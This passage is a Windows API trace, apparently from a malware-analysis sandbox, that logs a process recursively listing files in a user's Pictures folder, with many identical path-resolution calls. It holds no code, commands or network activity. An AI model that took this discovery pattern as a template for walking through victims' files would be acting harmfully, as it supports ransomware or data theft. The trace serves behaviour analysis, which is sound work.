HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\", lpFilePart=0x0) returned 0x33 [0080.444] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bee5d0, ftCreationTime.dwHighDateTime=0x1d5e69c, ftLastAccessTime.dwLowDateTime=0x33536310, ftLastAccessTime.dwHighDateTime=0x1d5e233, ftLastWriteTime.dwLowDateTime=0x33536310, ftLastWriteTime.dwHighDateTime=0x1d5e233, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.444] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bee5d0, ftCreationTime.dwHighDateTime=0x1d5e69c, ftLastAccessTime.dwLowDateTime=0x33536310, ftLastAccessTime.dwHighDateTime=0x1d5e233, ftLastWriteTime.dwLowDateTime=0x33536310, ftLastWriteTime.dwHighDateTime=0x1d5e233, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.445] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ba5e0, ftCreationTime.dwHighDateTime=0x1d5df04, ftLastAccessTime.dwLowDateTime=0x645f0500, ftLastAccessTime.dwHighDateTime=0x1d5e3cc, ftLastWriteTime.dwLowDateTime=0x645f0500, ftLastWriteTime.dwHighDateTime=0x1d5e3cc, nFileSizeHigh=0x0, nFileSizeLow=0x147cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="dm4SELI8UX5CD.bmp", cAlternateFileName="DM4SEL~1.BMP")) returned 1 [0080.445] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8949a0, ftCreationTime.dwHighDateTime=0x1d5d957, ftLastAccessTime.dwLowDateTime=0xca76dc50, ftLastAccessTime.dwHighDateTime=0x1d5e34a, ftLastWriteTime.dwLowDateTime=0xca76dc50, ftLastWriteTime.dwHighDateTime=0x1d5e34a, nFileSizeHigh=0x0, nFileSizeLow=0x1775f, dwReserved0=0x0, dwReserved1=0x0, cFileName="I2Yoz.bmp", cAlternateFileName="")) returned 1 [0080.445] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x121e2b10, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0x2a32c800, ftLastAccessTime.dwHighDateTime=0x1d5d8bc, ftLastWriteTime.dwLowDateTime=0x2a32c800, ftLastWriteTime.dwHighDateTime=0x1d5d8bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogUkzne", cAlternateFileName="")) returned 1 [0080.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0080.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\", lpFilePart=0x0) returned 0x3b [0080.447] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x121e2b10, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0x2a32c800, ftLastAccessTime.dwHighDateTime=0x1d5d8bc, ftLastWriteTime.dwLowDateTime=0x2a32c800, ftLastWriteTime.dwHighDateTime=0x1d5d8bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.447] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x121e2b10, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0x2a32c800, ftLastAccessTime.dwHighDateTime=0x1d5d8bc, ftLastWriteTime.dwLowDateTime=0x2a32c800, ftLastWriteTime.dwHighDateTime=0x1d5d8bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.448] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8520c0, ftCreationTime.dwHighDateTime=0x1d5dc33, ftLastAccessTime.dwLowDateTime=0x51b7e770, ftLastAccessTime.dwHighDateTime=0x1d5e2c1, ftLastWriteTime.dwLowDateTime=0x51b7e770, ftLastWriteTime.dwHighDateTime=0x1d5e2c1, nFileSizeHigh=0x0, nFileSizeLow=0xdbd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="7KY-6GxzT4E7TIrF78.bmp", cAlternateFileName="7KY-6G~1.BMP")) returned 1 [0080.448] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x669d8790, ftCreationTime.dwHighDateTime=0x1d5e301, ftLastAccessTime.dwLowDateTime=0x6ec53670, ftLastAccessTime.dwHighDateTime=0x1d5df00, ftLastWriteTime.dwLowDateTime=0x6ec53670, ftLastWriteTime.dwHighDateTime=0x1d5df00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kv2m", cAlternateFileName="")) returned 1 [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e840) returned 1 [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0080.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\", nBufferLength=0x105, lpBuffer=0x1ca2e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\", lpFilePart=0x0) returned 0x40 [0080.450] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\*", 